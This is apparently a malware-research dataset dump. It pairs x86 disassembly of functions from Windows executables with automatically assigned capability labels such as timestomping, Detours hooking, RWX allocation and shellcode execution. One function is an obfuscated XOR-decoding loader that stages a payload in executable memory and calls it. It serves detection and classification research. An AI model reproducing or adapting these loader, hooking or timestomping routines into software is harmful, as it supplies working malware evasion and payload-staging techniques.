joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4cacc0
Capabilities:
Check if file exists

Disassembly:
sub esp, 0xa20
xor eax, eax
push ebx
push esi
mov esi, ecx
push edi
mov ecx, 0x205
lea edi, [esp + 0x218]
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0xa34]
test eax, eax
jne 0x4cad34
mov eax, dword [esp + 0xa30]
lea ecx, [esp + 0x10]
push eax
push 0x4e5194
push ecx
mov dword [esp + 0x18], 0x814
call dword [sym.imp.MSVCRT.dll_swprintf]
lea edx, [esi + 0x478]
lea eax, [esp + 0x18]
push edx
lea ecx, [esp + 0x228]
push eax
lea edx, [esp + 0x24]
push ecx
push edx
push str.ToolBar
call fcn.00489e90
add esp, 0x20
test eax, eax
je 0x4cae39
mov ecx, 0x205
xor eax, eax
lea edi, [esp + 0x218]
push str.ToolbarEx
rep stosd dword es:[edi], eax
push 0x4e49c0
lea eax, [esp + 0x220]
push 9
push eax
call dword [sym.imp.MSVCRT.dll__snwprintf]
mov eax, dword [esi + 0xf4]
add esp, 0x10
xor ebx, ebx
test eax, eax
jle 0x4cadd0
push ebp
lea edi, [esp + 0x230]
push ebx
mov ecx, esi
call fcn.004c9190
mov ebp, eax
cmp ebp, 0xffffffff
je 0x4cadc1
mov ecx, dword [esi + 0xf0]
push ebp
mov dl, byte [ecx + ebx*4]
lea ecx, [ecx + ebx*4]
mov byte [edi + 4], dl
mov ecx, dword [ecx]
mov eax, ecx
shl eax, 7
add eax, ecx
mov ecx, dword [esi + 0xec]
mov dl, byte [ecx + eax*4 + 0x44]
mov ecx, esi
mov byte [edi + 5], dl
call fcn.004c8b40
test eax, eax
je 0x4cadbb
mov eax, dword [eax]
mov dword [edi], eax
jmp 0x4cadc1
mov dword [edi], 0
mov eax, dword [esi + 0xf4]
inc ebx
add edi, 8
cmp ebx, eax
jl 0x4cad75
pop ebp
lea ebx, [esi + 0x478]
push ebx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x4cae39
mov ecx, 0x81
xor eax, eax
lea edi, [esp + 0x12]
mov word [esp + 0x10], 0
rep stosd dword es:[edi], eax
mov ecx, dword [esp + 0xa30]
lea edx, [esp + 0x10]
push ecx
push 0x4e5194
push edx
stosw word es:[edi], ax
call dword [sym.imp.MSVCRT.dll_swprintf]
mov eax, dword [esi + 0xf4]
add esp, 0xc
lea edx, [esp + 0x218]
lea ecx, [eax*8 + 0x14]
push ebx
push ecx
lea eax, [esp + 0x18]
push edx
push eax
push str.ToolBar
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStructW]
pop edi
pop esi
pop ebx
add esp, 0xa20
ret 8

Function at 0x4caff0
Capabilities:
Hide graphical window

Disassembly:
call fcn.004aa5e0
mov ecx, eax
jmp 0x4cb2b0
mov eax, dword [ecx + 4]
push 0
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
ret
Function at 0x4cb310
Capabilities:
Read .ini file

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x4d3d0b
push eax
mov eax, 0x1260
mov dword fs:[0], esp
call fcn.004cd000
push esi
mov esi, dword [esp + 0x1274]
push edi
push 0x4fe3dc
mov edi, ecx
push esi
call fcn.00433380
add esp, 8
test eax, eax
je 0x4cb478
lea eax, [esp + 0x220]
push 0x824
push eax
push 0
push esi
call fcn.004333c0
add esp, 0x10
test eax, eax
je 0x4cb411
lea ecx, [esp + 0x220]
push str.iexplore.exe
push ecx
call dword [sym.imp.SHLWAPI.dll_StrStrIW]
test eax, eax
je 0x4cb3c8
lea edx, [esp + 0x220]
push 0x824
push edx
push 1
push esi
call fcn.004333c0
lea eax, [esp + 0x230]
push eax
call dword [sym.imp.MSVCRT.dll_wcslen]
add esp, 0x14
test eax, eax
jne 0x4cb3c8
lea ecx, [esp + 0x220]
push 0x824
push ecx
push eax
push esi
call fcn.004333c0
add esp, 0x10
lea edx, [esp + 0x220]
push edx
push 0x4e49c0
push 0x824
push edi
call dword [sym.imp.MSVCRT.dll__snwprintf]
add esp, 0x10
mov word [edi + 0x1046], 0
push edi
call fcn.00488e30
mov ecx, dword [esp + 0x126c]
add esp, 4
mov eax, edi
mov dword fs:[0], ecx
pop edi
pop esi
add esp, 0x126c
ret 4
lea ecx, [esp + 8]
call fcn.00485480
push 0xffffffffffffffff
push esi
lea ecx, [esp + 0x10]
mov dword [esp + 0x1278], 0
call fcn.00485550
mov esi, eax
test esi, esi
je 0x4cb45f
push esi
lea ecx, [esp + 0xc]
call fcn.00485660
test eax, eax
je 0x4cb455
push 0x824
push edi
push esi
lea ecx, [esp + 0x14]
call fcn.004856a0
push esi
lea ecx, [esp + 0xc]
call fcn.004855d0
lea ecx, [esp + 8]
mov dword [esp + 0x1270], 0xffffffff
call fcn.004854d0
jmp 0x4cb3ed
push 0x4e4acc
push esi
call fcn.00433380
add esp, 8
test eax, eax
push esi
je 0x4cb3d0
push 0x824
push edi
push 0x4fff00
push 0x4f8eb0
push str.InternetShortcut
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
jmp 0x4cb3ed

Function at 0x4cb9b0
Capabilities:
Timestomp file

Disassembly:
sub esp, 0x28
mov eax, dword [esp + 0x2c]
push esi
push 0
push 0
push 3
push 0
push 0
push 0xc0000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
lea ecx, [esp + 0x1c]
mov esi, eax
lea edx, [esp + 0x14]
push ecx
lea eax, [esp + 0x28]
push edx
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetFileTime]
mov eax, dword [esp + 0x34]
lea ecx, [esp + 0xc]
push ecx
push eax
shr eax, 0x10
push eax
call dword [sym.imp.KERNEL32.dll_DosDateTimeToFileTime]
lea edx, [esp + 4]
lea eax, [esp + 0xc]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_LocalFileTimeToFileTime]
lea ecx, [esp + 4]
lea edx, [esp + 0x14]
push ecx
lea eax, [esp + 8]
push edx
push eax
push esi
call dword [sym.imp.KERNEL32.dll_SetFileTime]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
add esp, 0x28
ret
Function at 0x4cc12e
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4d6b70
push 0x4cd074
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x2c
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
push 0x1c
lea eax, [ebp - 0x34]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
and dword [ebp - 4], 0
mov ecx, dword [ebp - 0x30]
mov dword [ebp - 0x38], ecx
cmp word [ecx], 0x5a4d
jne 0x4cc1b4
mov eax, dword [ecx + 0x3c]
add eax, ecx
mov dword [ebp - 0x3c], eax
cmp dword [eax], 0x4550
je 0x4cc18c
xor al, al
or dword [ebp - 4], 0xffffffff
jmp 0x4cc1ba
mov edx, dword [eax + 0xd8]
lea esi, [edx + ecx]
cmp dword [ebp + 0xc], esi
jb 0x4cc184
mov eax, dword [eax + 0xdc]
add eax, edx
add eax, ecx
cmp dword [ebp + 0xc], eax
jae 0x4cc184
mov al, 1
jmp 0x4cc186
or dword [ebp - 4], 0xffffffff
xor al, al
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x4cc219
Capabilities:
Allocate or change rwx memory

Disassembly:
push ecx
push esi
mov esi, dword [0x5dbe70]
test esi, esi
je 0x4cc23d
lea eax, [esp + 4]
push eax
push 0x40
push 0x10000
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov esi, dword [esi + 4]
jmp 0x4cc221
pop esi
pop ecx
ret

Function at 0x4cc240
Capabilities:
Resume thread

Disassembly:
push ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp dword [0x5dbe7c], eax
je 0x4cc256
mov eax, 0x10dd
pop ecx
ret
push ebx
push esi
mov esi, dword [0x5dbe8c]
xor ebx, ebx
cmp esi, ebx
push edi
je 0x4cc2a3
lea eax, [esp + 0xc]
push eax
mov eax, dword [esi + 0x10]
push dword [esi + 0x14]
movzx eax, byte [eax + 0x17]
push eax
push dword [esi + 0xc]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
cmp dword [esi + 4], ebx
jne 0x4cc294
mov eax, dword [esi + 0x10]
cmp eax, ebx
je 0x4cc294
push eax
call fcn.004cc30a
pop ecx
mov dword [esi + 0x10], ebx
mov edi, dword [esi]
push esi
call fcn.004ccfd9
cmp edi, ebx
pop ecx
mov esi, edi
jne 0x4cc265
mov dword [0x5dbe8c], ebx
call fcn.004cc2e3
mov esi, dword [0x5dbe88]
cmp esi, ebx
je 0x4cc2d0
push dword [esi + 4]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov edi, dword [esi]
push esi
call fcn.004ccfd9
cmp edi, ebx
pop ecx
mov esi, edi
jne 0x4cc2b8
pop edi
mov dword [0x5dbe88], ebx
mov dword [0x5dbe7c], ebx
pop esi
xor eax, eax
pop ebx
pop ecx
ret
Function at 0x4cc58d
Capabilities:
Suspend thread

Disassembly:
mov eax, dword [0x5dbe80]
push esi
test eax, eax
push edi
jne 0x4cc5f7
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov edi, dword [esp + 0xc]
cmp edi, eax
je 0x4cc5f5
push 8
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov esi, eax
pop ecx
test esi, esi
jne 0x4cc5b9
push 8
pop edi
jmp 0x4cc5d4
push edi
call dword [sym.imp.KERNEL32.dll_SuspendThread]
cmp eax, 0xffffffff
jne 0x4cc5e5
call dword [sym.imp.KERNEL32.dll_GetLastError]
push esi
mov edi, eax
call fcn.004ccfd9
pop ecx
and dword [0x5dbe84], 0
mov dword [0x5dbe80], edi
mov eax, edi
jmp 0x4cc5f7
mov dword [esi + 4], edi
mov eax, dword [0x5dbe88]
mov dword [esi], eax
mov dword [0x5dbe88], esi
xor eax, eax
pop edi
pop esi
ret 4
Function at 0x4cc8b4
Capabilities:
Allocate or change rwx memory
Hook routines via microsoft detours

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
cmp esi, 0x7ff80000
mov ebx, 0x10000
jbe 0x4cc8d8
lea eax, [esi - 0x7ff80000]
mov dword [ebp + 8], eax
jmp 0x4cc8db
mov dword [ebp + 8], ebx
cmp esi, 0x80000000
jae 0x4cc8ee
lea eax, [esi + 0x7ff80000]
mov dword [ebp - 4], eax
jmp 0x4cc8f5
mov dword [ebp - 4], 0xfff80000
mov eax, dword [0x5dbe74]
mov ecx, dword [0x5dbe70]
test eax, eax
jne 0x4cc90f
test ecx, ecx
je 0x4cc924
mov eax, ecx
mov dword [0x5dbe74], eax
mov edx, dword [eax + 8]
test edx, edx
je 0x4cc924
cmp edx, dword [ebp + 8]
jb 0x4cc924
cmp edx, dword [ebp - 4]
jbe 0x4cca7d
mov eax, ecx
test ecx, ecx
mov dword [0x5dbe74], eax
je 0x4cc954
test eax, eax
je 0x4cc948
mov ecx, dword [eax + 8]
test ecx, ecx
je 0x4cc948
cmp ecx, dword [ebp + 8]
jb 0x4cc948
cmp ecx, dword [ebp - 4]
jbe 0x4cca7d
mov eax, dword [eax + 4]
test eax, eax
mov dword [0x5dbe74], eax
jne 0x4cc933
mov eax, esi
and eax, 0xffff
sub esi, eax
cmp esi, dword [ebp + 8]
mov edi, esi
jbe 0x4cc9bc
cmp edi, 0x70000000
jb 0x4cc979
cmp edi, 0x80000000
ja 0x4cc979
mov edi, 0x6fff0000
lea eax, [ebp - 0x20]
push 0x1c
push eax
push edi
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
je 0x4cc9bc
cmp dword [ebp - 0x10], ebx
jne 0x4cc994
cmp dword [ebp - 0x14], ebx
jae 0x4cc9a4
mov eax, dword [ebp - 0x1c]
lea edi, [eax - 0x10000]
cmp edi, dword [ebp + 8]
ja 0x4cc964
jmp 0x4cc9bc
push 0x40
push 0x3000
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
test eax, eax
mov dword [0x5dbe74], eax
jne 0x4cca33
cmp esi, dword [ebp - 4]
jae 0x4ccaa4
cmp esi, 0x70000000
jb 0x4cc9da
cmp esi, 0x80000000
ja 0x4cc9da
mov esi, 0x80010000
lea eax, [ebp - 0x20]
push 0x1c
push eax
push esi
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
je 0x4ccaa4
cmp dword [ebp - 0x10], ebx
jne 0x4cca28
cmp dword [ebp - 0x14], ebx
jb 0x4cca28
mov ecx, esi
and ecx, 0xffff
je 0x4cca10
mov eax, ebx
sub eax, ecx
sub dword [ebp - 0x14], eax
add dword [ebp - 0x20], eax
mov esi, dword [ebp - 0x20]
push 0x40
push 0x3000
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
test eax, eax
mov dword [0x5dbe74], eax
jne 0x4cca33
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x14]
lea esi, [eax + ecx]
jmp 0x4cc9bc
mov dword [eax], 0x52727464
mov eax, dword [0x5dbe74]
xor ecx, ecx
mov dword [eax + 8], ecx
mov eax, dword [0x5dbe74]
mov edx, dword [0x5dbe70]
mov dword [eax + 4], edx
mov eax, dword [0x5dbe74]
mov dword [0x5dbe70], eax
add eax, 0xffe0
mov edx, 0x7fd
mov dword [eax + 0x18], ecx
mov ecx, eax
sub eax, 0x20
dec edx
jne 0x4cca65
mov eax, dword [0x5dbe74]
mov dword [eax + 8], ecx
mov eax, dword [0x5dbe74]
mov esi, dword [eax + 8]
cmp esi, dword [ebp + 8]
jb 0x4ccaa4
cmp esi, dword [ebp - 4]
ja 0x4ccaa4
mov ecx, dword [esi + 0x18]
push 0x20
push 0xcc
push esi
mov dword [eax + 8], ecx
call sub.MSVCRT.dll_memset
add esp, 0xc
mov eax, esi
jmp 0x4ccaa6
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4ccaab
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4d6b80
push 0x4cd074
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x2c
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
push 0x1c
lea eax, [ebp - 0x38]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
je 0x4ccb20
and dword [ebp - 4], 0
mov ecx, dword [ebp - 0x34]
cmp word [ecx], 0x5a4d
jne 0x4ccb1c
mov eax, dword [ecx + 0x3c]
add eax, ecx
mov dword [ebp - 0x3c], eax
cmp dword [eax], 0x4550
jne 0x4ccb1c
cmp word [eax + 0x14], 0
jne 0x4ccb11
xor eax, eax
or dword [ebp - 4], 0xffffffff
jmp 0x4ccb22
mov eax, ecx
jmp 0x4ccb0b
or dword [ebp - 4], 0xffffffff
xor eax, eax
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x401650
Capabilities:
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40f0b8
mov eax, dword fs:[0]
push eax
sub esp, 0x14
mov eax, dword [0x414378]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
lea eax, [ebp - 0x10]
push eax
call fcn.0040a050
add esp, 4
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0x18]
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 4], 0
mov edx, dword [ebp - 0x1c]
push edx
mov ecx, dword [ebp + 8]
call fcn.00401df0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x10]
call fcn.00401dd0
push 0x410400
mov ecx, dword [ebp + 8]
call fcn.00401e10
push ecx
mov ecx, esp
mov dword [ebp - 0x14], esp
mov eax, dword [ebp + 8]
push eax
call fcn.00401db0
mov dword [ebp - 0x20], eax
call fcn.0040a1b0
add esp, 4
push 2
mov ecx, dword [ebp + 8]
call fcn.004027c0
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov esp, ebp
pop ebp
ret
Function at 0x4085f0
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x230
mov eax, dword [0x414378]
xor eax, ebp
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x230], ecx
lea ecx, [ebp - 0x14]
call fcn.004083c0
mov eax, dword [ebp - 0x230]
mov ecx, dword [eax + 4]
or ecx, 0x2001f
push ecx
mov edx, dword [ebp + 8]
push edx
mov eax, dword [ebp - 0x230]
mov ecx, dword [eax]
push ecx
lea ecx, [ebp - 0x14]
call fcn.00408590
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x40865b
mov edx, dword [ebp - 0x18]
mov dword [ebp - 0x224], edx
lea ecx, [ebp - 0x14]
call fcn.004083f0
mov eax, dword [ebp - 0x224]
jmp 0x4086ec
mov dword [ebp - 4], 0x100
lea eax, [ebp - 0xc]
push eax
push 0
push 0
push 0
lea ecx, [ebp - 4]
push ecx
lea edx, [ebp - 0x220]
push edx
push 0
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
jne 0x4086c1
lea ecx, [ebp - 0x220]
push ecx
lea ecx, [ebp - 0x14]
call fcn.004085f0
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x4086b8
mov edx, dword [ebp - 0x18]
mov dword [ebp - 0x228], edx
lea ecx, [ebp - 0x14]
call fcn.004083f0
mov eax, dword [ebp - 0x228]
jmp 0x4086ec
mov dword [ebp - 4], 0x100
jmp 0x408662
lea ecx, [ebp - 0x14]
call fcn.004084d0
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 0x230]
call fcn.00408470
mov dword [ebp - 0x22c], eax
lea ecx, [ebp - 0x14]
call fcn.004083f0
mov eax, dword [ebp - 0x22c]
mov ecx, dword [ebp - 0x1c]
xor ecx, ebp
call fcn.0040e566
mov esp, ebp
pop ebp
ret 4
Function at 0x408ce0
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov dword [ebp - 0x14], ecx
xor eax, eax
jne 0x408ce9
xor ecx, ecx
jne 0x408ce9
xor edx, edx
cmp dword [ebp + 0xc], 0
setne dl
mov dword [ebp - 0x10], edx
cmp dword [ebp - 0x10], 0
jne 0x408d0a
mov eax, 0xd
jmp 0x408d65
xor eax, eax
jne 0x408cf1
mov dword [ebp - 4], 0
mov ecx, dword [ebp + 0xc]
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
add eax, 1
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 8]
lea edx, [ecx + eax*2]
mov dword [ebp - 8], edx
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 4]
lea edx, [ecx + eax*2]
mov dword [ebp - 4], edx
cmp dword [ebp - 0xc], 1
jne 0x408d1b
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
push 7
push 0
mov edx, dword [ebp + 8]
push edx
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov esp, ebp
pop ebp
ret 8

Function at 0x40a160
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
lea ecx, [ebp + 8]
call fcn.004027c0
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
je 0x40a18f
mov eax, dword [ebp - 4]
and eax, 0x10
je 0x40a18f
mov dword [ebp - 0xc], 1
jmp 0x40a196
mov dword [ebp - 0xc], 0
mov ecx, dword [ebp - 0xc]
mov dword [ebp - 8], ecx
lea ecx, [ebp + 8]
call fcn.00401dd0
mov eax, dword [ebp - 8]
mov esp, ebp
pop ebp
ret
Function at 0x40b220
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40f858
mov eax, dword fs:[0]
push eax
sub esp, 0x14
mov eax, dword [0x414378]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x20], ecx
push 0
mov ecx, dword [ebp - 0x20]
add ecx, 4
call fcn.00404660
call fcn.0040b300
mov byte [ebp - 0xd], 0
push 0x3e9
mov ecx, dword [ebp - 0x20]
add ecx, 4
call fcn.0040d2c0
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 1
jne 0x40b27b
mov byte [ebp - 0xd], 1
mov ecx, dword [ebp - 0x20]
call fcn.0040b950
movzx eax, byte [ebp - 0xd]
test eax, eax
je 0x40b2d9
lea ecx, [ebp - 0x1c]
push ecx
call fcn.0040a050
add esp, 4
mov dword [ebp - 4], 0
push str.9eMobileLauncher.exe
lea ecx, [ebp - 0x1c]
call fcn.00401e10
push 1
push 0
push 0
lea ecx, [ebp - 0x1c]
call fcn.004027c0
push eax
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
mov dword [ebp - 0x18], eax
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1c]
call fcn.00401dd0
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.USER32.dll_PostQuitMessage]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov esp, ebp
pop ebp
ret 4
Function at 0x40e54a
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
cmp dword [0x41451c], 0
push esi
jne 0x40e4bd
call fcn.0040e3e3
test eax, eax
je 0x40e500
mov eax, dword [0x41451c]
cmp eax, 1
jne 0x40e4de
push 0xd
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
test eax, eax
je 0x40e500
pop esi
ret
push eax
call dword [0x414524]
test eax, eax
jne 0x40e548
push 0x40
mov eax, 0x1000
push eax
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
jne 0x40e504
xor eax, eax
pop esi
ret
mov eax, dword [esi]
push edi
push dword [0x41451c]
call dword [0x414524]
mov edi, eax
test edi, edi
je 0x40e529
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x40e545
mov edi, esi
add esi, 0xff0
push edi
push dword [0x41451c]
call dword [0x414520]
add edi, 0x10
cmp edi, esi
jb 0x40e531
mov eax, edi
pop edi
pop esi
ret
jmp 0x40e4aa

Function at 0x40e566
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x414378]
jne 0x40e570
repz ret
jmp fcn.0040eb39
Function at 0x101224e
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push esi
lea eax, [ebp - 4]
push eax
push 0x20019
xor esi, esi
push esi
push 0x100232c
push 0x80000000
call dword [sym.imp.advapi32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10122a4
lea eax, [ebp - 8]
push eax
push dword [ebp + 8]
mov dword [ebp - 8], 0x104
push esi
push esi
push 0x1002368
push dword [ebp - 4]
call dword [sym.imp.advapi32.dll_RegQueryValueExA]
test eax, eax
jne 0x1012297
inc esi
push dword [ebp - 4]
call dword [sym.imp.advapi32.dll_RegCloseKey]
mov eax, esi
jmp 0x10122a6
xor eax, eax
pop esi
leave
ret 4

Function at 0x972058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.009721a8
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, 0x80
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0x97207e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x97206a
add dl, dl
jne 0x972089
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x9720dc
xor eax, eax
add dl, dl
jne 0x972096
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x97217d
add dl, dl
jne 0x9720a5
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x9720b0
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x9720bb
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x9720c6
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x9720d2
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0x972075
mov eax, 1
add dl, dl
jne 0x9720ea
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x9720f5
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x9720e1
sub eax, ebx
mov ebx, 1
jne 0x972128
mov ecx, 1
add dl, dl
jne 0x97210e
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x972119
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x972105
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x972075
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x97213f
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x97214a
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x972136
cmp eax, 0x7d00
jae 0x97216d
cmp eax, 0x500
jb 0x972168
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x972075
cmp eax, 0x7f
ja 0x972170
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x972075
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x97219e
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0x972075
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10
Function at 0x40610d
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
pushal
call 0x40611c
pop dword [ebp - 0x18]
mov eax, 0x5a1880b6
sub eax, 0x59d81f9a
sub dword [ebp - 0x18], eax
mov dword [ebp - 0x28], 0xc700bf72
add dword [ebp - 0x28], 0x875185d9
mov dword [ebp - 0x24], 0xbafb9522
sub dword [ebp - 0x24], 0x88c848dd
mov dword [ebp - 0x20], 0x240f38e4
sub dword [ebp - 0x20], 0xd7c2f4b6
mov dword [ebp - 0x1c], 0x687dcf7b
add dword [ebp - 0x1c], 0x97823085
lea eax, [ebp - 0x28]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x18]
call dword [eax]
mov dword [ebp - 0x28], 0x7a311eb8
sub dword [ebp - 0x28], 0x5beb562
mov dword [ebp - 0x24], 0xdd5fbbe2
add dword [ebp - 0x24], 0x640ca593
mov dword [ebp - 0x20], 0xf2cb6da4
sub dword [ebp - 0x20], 0x8f5c0138
mov dword [ebp - 0x1c], 0xe2e7ff0f
sub dword [ebp - 0x1c], 0xe2e7ff0f
lea ebx, [ebp - 0x28]
push ebx
push eax
mov eax, 0x62e683d6
add eax, 0x9d59ed2a
add eax, dword [ebp - 0x18]
call dword [eax]
push 0x40
push 0x1000
push 0x376d3
push 0
call eax
mov ecx, 0x8c28494a
sub ecx, 0x8c27fe04
xor esi, esi
add esi, eax
mov edx, 0x5cbd97fa
add edx, 0xa3836806
add edx, dword [ebp - 0x18]
mov ebx, 0x314888e7
sub ebx, 0xb3988219
xor dword [ebp - 0x14], ecx
mov edi, dword [edx]
add dword [ebp - 0x10], 0xd7c3feb7
xor edi, ebx
mov dword [ebp - 8], 0x1fca8cb3
mov dword [esi], edi
sub dword [ebp - 0xc], ebx
add esi, 0x53a9f6dd
add esi, 0xac560927
add edx, 0x4574f0f2
add edx, 0xba8b0f12
loop 0x40623b
add eax, 0xdb66b153
add eax, 0x249a6e98
mov ebx, eax
add eax, 0xab32f09c
add eax, 0x54cd0f69
mov ecx, 0xc7264d47
sub ecx, 0xc6e64d47
add ecx, dword [ebp - 0x18]
call ebx
leave
ret

Function at 0x4065b0
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x40c17c]
jne 0x4065ba
repz ret
jmp fcn.00406941